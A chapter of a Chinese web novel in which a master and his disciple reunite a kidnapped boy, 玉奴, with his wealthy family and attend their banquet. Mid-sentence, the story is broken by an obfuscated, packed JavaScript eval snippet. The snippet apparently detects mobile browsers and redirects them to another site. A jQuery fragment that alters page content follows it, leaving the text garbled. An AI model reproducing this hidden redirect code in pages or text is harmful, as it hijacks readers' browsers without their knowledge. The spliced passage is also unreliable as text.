84. 84
作品:《我成了师尊的白月光》 翌日清晨天刚亮,三人便到了官府门前。
他们本想自己寻亲,但考虑到玉奴从前家境不差,在池州有不少故旧,不如直接报官,由官府贴出布告,或有熟人看到一传十十传百,玉奴说不定就能找到自己家人。
翊贞还特意嘱咐玉奴不要把他经历的事说出来,只说被人贩子拐走即可。
玉奴懵懵懂懂答应下来,他猜测可能神仙都不愿把自己的真实身份公之于众,对他们也是负担。
池州的告示栏在本地最大的菜市场往前一个路口,那里每天人来人往,卖菜的卖面的杀猪的,跟赶集似的总有百姓经过,玉奴看着带有自己画像的寻亲告示贴上去,期盼的目光一直停留在告示栏不肯走。
茱青抬手在他眼前晃晃,笑道:“我们住的客栈已经告诉官府了,等有消息会立刻派人来传话的,先回去吃早饭吧。”
池州人的早饭多是各种各样的面食,碱水面再搭上花样繁多的浇头,茱青很快吃完一碗又要了一份。
可惜她眼大肚小,吃了两口就不想吃了。
为了给玉奴做个不浪费粮食的榜样,茱青试探道:“师父,你吃饱了吗?”
“还可以。”翊贞从来不会把自己吃撑,每顿饭七八分饱,当他看见茱青谄媚的笑容时顿时明了,“你又吃不下了?”
茱青立刻拿起筷子:“我给您分一半吧,这边我没动,保证干净。”
翊贞无奈地推过碗,大不了晚上少吃点,总不至于变胖。
他道:“你这样要把玉奴教坏的,自己要多了吃不下就推给别人吃,这怎么行。”
茱青得意道:“才不是,我这是不浪费粮食,对不对啊小玉奴?”
玉奴的早饭显然吃得不太专心,以致茱青跟他说话都没听清她在说什么。
替玉奴寻找家人之际,翊贞还不忘四处查看有没有合适的医馆药铺,这次他们想在池州多停留一段时间,还得再租个院子住。
如今翊贞做这些已经很拿手,不需要茱青再跟着他帮忙。
茱青还有更重要的事情,便是带思亲情切的玉奴去告示栏看有无线索。
第三日吃过午饭,天气太热没人愿意出门,都窝在客栈睡觉乘凉,翊贞看着床上睡得四仰八叉的玉奴不禁莞尔,想去找茱青又怕她在休息,于是独自去客栈大堂喝酒。
夏天的酒都镇在冰凉的井水里,一杯下肚热气全无,翊贞喝完打算回房,门外突然呼啦啦进来两个捕快。
高点的捕快直奔柜台,拿着画像问掌柜:“王掌柜,这三人是在你们这儿住吧,哪间房?”
王掌柜对着画像仔细辨认,指了指捕快背后的翊贞:“这画上的男的好像是他。”
高个捕快上下打量着翊贞,开口道:“是挺像,那个人牙子拐孩子的案子是你报的官?”
翊贞颔首:“是。”
“蓝家人来衙门了,说画上的人是他家二小子,家属在衙门等着领人呢,跟我们走吧。”
听闻是玉奴的家人,翊贞紧绷的神情有了松动。
紧赶慢赶到了池州衙门,正堂早有一堆人在等候。
最上头的是州官,着一身红色官府颇有威势,堂下站着两个中年男女,估摸有五十多岁,是蓝家的老爷夫人,还有一青年男子,看其相貌也到了而立之年。
几人看到玉奴,都不住看他。
州官发话让他们各自相认,那蓝夫人忍不住先扑了上来,手抚摸着玉奴的脸蛋欲语泪先流,她匆匆翻开玉奴的领口,在看到他右侧锁骨下方的小痣时嚎啕大哭:“是我儿,是我可怜的孩子…”
茱青取下包袱打开,从里面拿出玉奴的被蒋棠拐走时穿的衣裳和玉佩,七年过去了,衣裳的颜色变得灰扑扑的,但若是亲人,应当是能认出来的。
她道:“这是玉奴的东西,您可认得?”
“玉奴?”蓝夫人拿帕子抹了抹泪,惊奇道,“你还叫这个名字,好孩子,你还记得自己的小名?”
她翻了翻包袱,微微收敛情绪,说道:“没错,是我儿的衣裳,那年元宵灯会,我儿就是穿的这身新衣裳出的门,这玉佩也是老爷让人给他做的。”
看来这便是玉奴家人无疑了,茱青微笑着鼓励他:“玉奴,去叫爹娘啊…”
玉奴紧贴翊贞站着,被眼前的陌生女人吓得一动不动,他不敢相信自己这么快就找到了家人,七年前关于父母的尘封记忆在此时渐渐苏醒,他想起了幼时那道哄自己睡觉的温柔声音,和这个自称是他娘的人是很像。
他伸出手擦去女人的泪珠,怯怯喊了一声“娘”。
蓝夫人忙不迭答应了一声,一把将玉奴搂在怀里,放声痛哭。
蓝家老爷蓝知老泪纵横,当着人面到底忍住了,却也不停抹泪。
正是一家喜相逢的和谐场面。
翊贞不动声色往旁退了两步,紧挨茱青站着。
玉奴找回亲人一家团聚,按说他们也该事了拂衣去,蓝知却道多亏他俩才能让他知命之年还找到小儿子,非得好好感谢他们不可。
玉奴也不舍得和他们立刻分离,茱青是他的恩人又是他认定的姐姐,他还想多和他们待一段时间。
蓝家是本地有名的商户,池州近半生意都有他一份,蓝家大公子蓝无双在邻县做官,官不大,庇护自己人一二还是能的,今日遇上丢失多年的玉奴回家这件大喜事,蓝知决定在家大摆三天流水席来庆祝。
是夜蓝家举办家宴,他们也受邀前往。
来赴宴的不止蓝家自家人,还有蓝知蓝无双在官场生意场上认识的故旧亲朋,都是池州有头有脸的人物。
夜宴开在蓝家花园,前院和花园只隔一堵墙,穿过墙上的拱门是条抄手回廊,廊沿点着灯,在夜里观水中红鱼别有一番趣味,穿过回廊绕过凉亭,便是用来宴客的水榭,水榭三面临水,底下种着芦苇和荷花,到了夜里幽静时便可闻到清逸的花香。
茱青从来没见过这般好看的园子,不禁道:“真漂亮啊…”
“比露华宫还漂亮吗?”翊贞道。
“露华宫琼楼玉宇贵气十足,人在其中如入仙境,够梦幻,但是不如这儿温婉。”茱青等带路的丫鬟走远了,捡起地上的小石子丢进水池,养得肥肥胖胖的锦鲤全涌了过来,嘴一开一合还以为是鱼食,“要是露华宫也能喂鱼就好了。”
翊贞哼了一声:“虽然没法喂鱼,但是你把我种的花浇死不少,还有我那棵树,你居然用它练法术,还打掉了一半叶子。”
“师父大人大量,忘了我这点小过失吧。”茱青笑嘻嘻挽上翊贞的手臂,拽着他往水榭走。
对于茱青这些撒娇的小把戏,翊贞从来不说不许。
甚至很喜欢她不经意间露出的亲近。
这些天茱青的空闲几乎全被玉奴占据,她关心玉奴的次数甚至比他还多,大到天热容易中暑小到穿衣吃饭,他看了都羡慕玉奴。
靠近水榭人多了起来,茱青松开翊贞走在他身后一步的位置。
她悄悄抬头看翊贞,他只是略回头看了她一眼,便和迎面而来蓝无双寒暄客套。
蓝无双把他们带到座位,又去迎接其他客人。
茱青打量周围,水榭墙上挂着壁瓶,里面插着当季鲜花,四面开窗视野宽阔,今夜月色皎洁,可见十几步外影影绰绰的树木人影。偶有凉风习习穿堂而过,自带天然花草幽香,蓝家人还在不远处的亭子里
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898715|174520||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
安排了乐师,隔着水面可闻悠扬笛声,让人神醉。
“蓝家可真有钱呀。”茱青小声道,“玉奴以后能过上好日子了。”
翊贞扬起嘴角,附和道:“没错。”
茱青又道:“听玉奴的名字就知道蓝知和夫人有多宠爱他,才会起这般亲昵的小名。”
她曾有所耳闻,凡人给孩子起名带“奴”字并非贬低之意,而是极度珍视的爱称,玉奴这个小名的意思是美玉一样珍贵的宝宝,足以证明玉奴从前所受的宠爱。
翊贞也是知道这层意思的,他玩笑道:“那以后叫你小青宝宝?”
“咦…”茱青挠挠胳膊,“师父可真肉麻。“”
“不过是长辈对晚辈的关爱,怎么能叫肉麻。”
要不是有人在,茱青真想捂住他的嘴让他别再开腔。
她面带笑容威胁道:“您要真这么叫,等回露华宫我就把您的花全铲了,那棵树叶子也全揪秃。”
翊贞立马露出“好害怕”的表情,眼里的笑忍都忍不住。
不多时赴宴的客人到齐,蓝知代蓝家人敬了他俩三杯酒,以感谢他们把玉奴从歹人手里救出,又不辞辛苦帮玉奴寻亲。
在场的人都纷纷奉承恭贺,茱青做了好事不怕人夸,一连喝了好几杯。
他俩算是贵客,陪席的是蓝无双,茱青记得玉奴说过他有对双胞胎兄姐,遂越过身边的翊贞道:“蓝大公子,蓝大小姐怎么没来?”
蓝无双笑道:“妹妹家的侄儿这两天身上不大好,等孩子好些她再来看弟弟。”
茱青长长“哦”了一声。
蓝无双是做官的人,惯会察言观色,怎能看不出茱青满脑子都是对蓝家的好奇,于是笑道:“我妻和母亲在女宾那边,故而不在这里,我只有一女,跟她娘去玩了。”
他简简介绍了蓝家的情况,茱青听得格外认真。
蓝无双底下还有一双弟妹,二弟蓝子羽生来身体孱弱,常自称能看到别人看不到的东西,一年到头只有两三个月身体稍微好些,平时疯疯傻傻总说些胡话,偶尔还会伤人。
蓝知和夫人无可奈何,只能把他关在院子里不让他出来。
蓝二小姐姝寒外嫁给一个年少有为的商人,随那人四处做生意游山玩水去了。
“好了,别总缠着大公子问人家的私隐。”翊贞打断两人的对话,隔开茱青和蓝无双,带着歉意道,“我这徒弟性格跳脱又话多,让大公子见笑了。”
蓝无双笑道:“不碍事,这些事乡里乡亲都知道,不算什么秘密,说给二位听也无妨,只是我那二弟实在是脾气差不能见人,否则也该和我一起来谢两位恩人的。”
其实茱青最想知道玉奴在哪,从中午开始她就没见过玉奴。
蓝无双道:“他得好好梳洗打扮去见几位长辈,这会应当是父亲带着他,一会还得过来的。”
“那大公子去招待客人吧,我们自己喝酒也松快些。”茱青道,“听闻池州最有名的酒是天池醉,一坛酒一两银,酒味清香凛冽,入口甘甜醇厚,想必酒壶里的就是了?”
“价钱倒是其次,两位贵人喜欢就好。”
这么贵的酒提都不提当做寻常酒待客,茱青点明后并未得意仍以平常心待之,可见蓝家家底确实富足。
蓝无双临走前交代过他们这桌好酒好菜不断,茱青也没想替蓝家省酒钱,不过翊贞在旁她不敢放开手脚喝,计上心头先替翊贞添满。
翊贞看她脸颊红扑扑还不消停,举着酒杯至他面前轻声细语道:“师父先喝呀。”他便知她打得什么歪主意。
他照常接过,仰头喝得一滴不剩,摸摸她的头发道:“我出去走走,你自己别喝多了。”

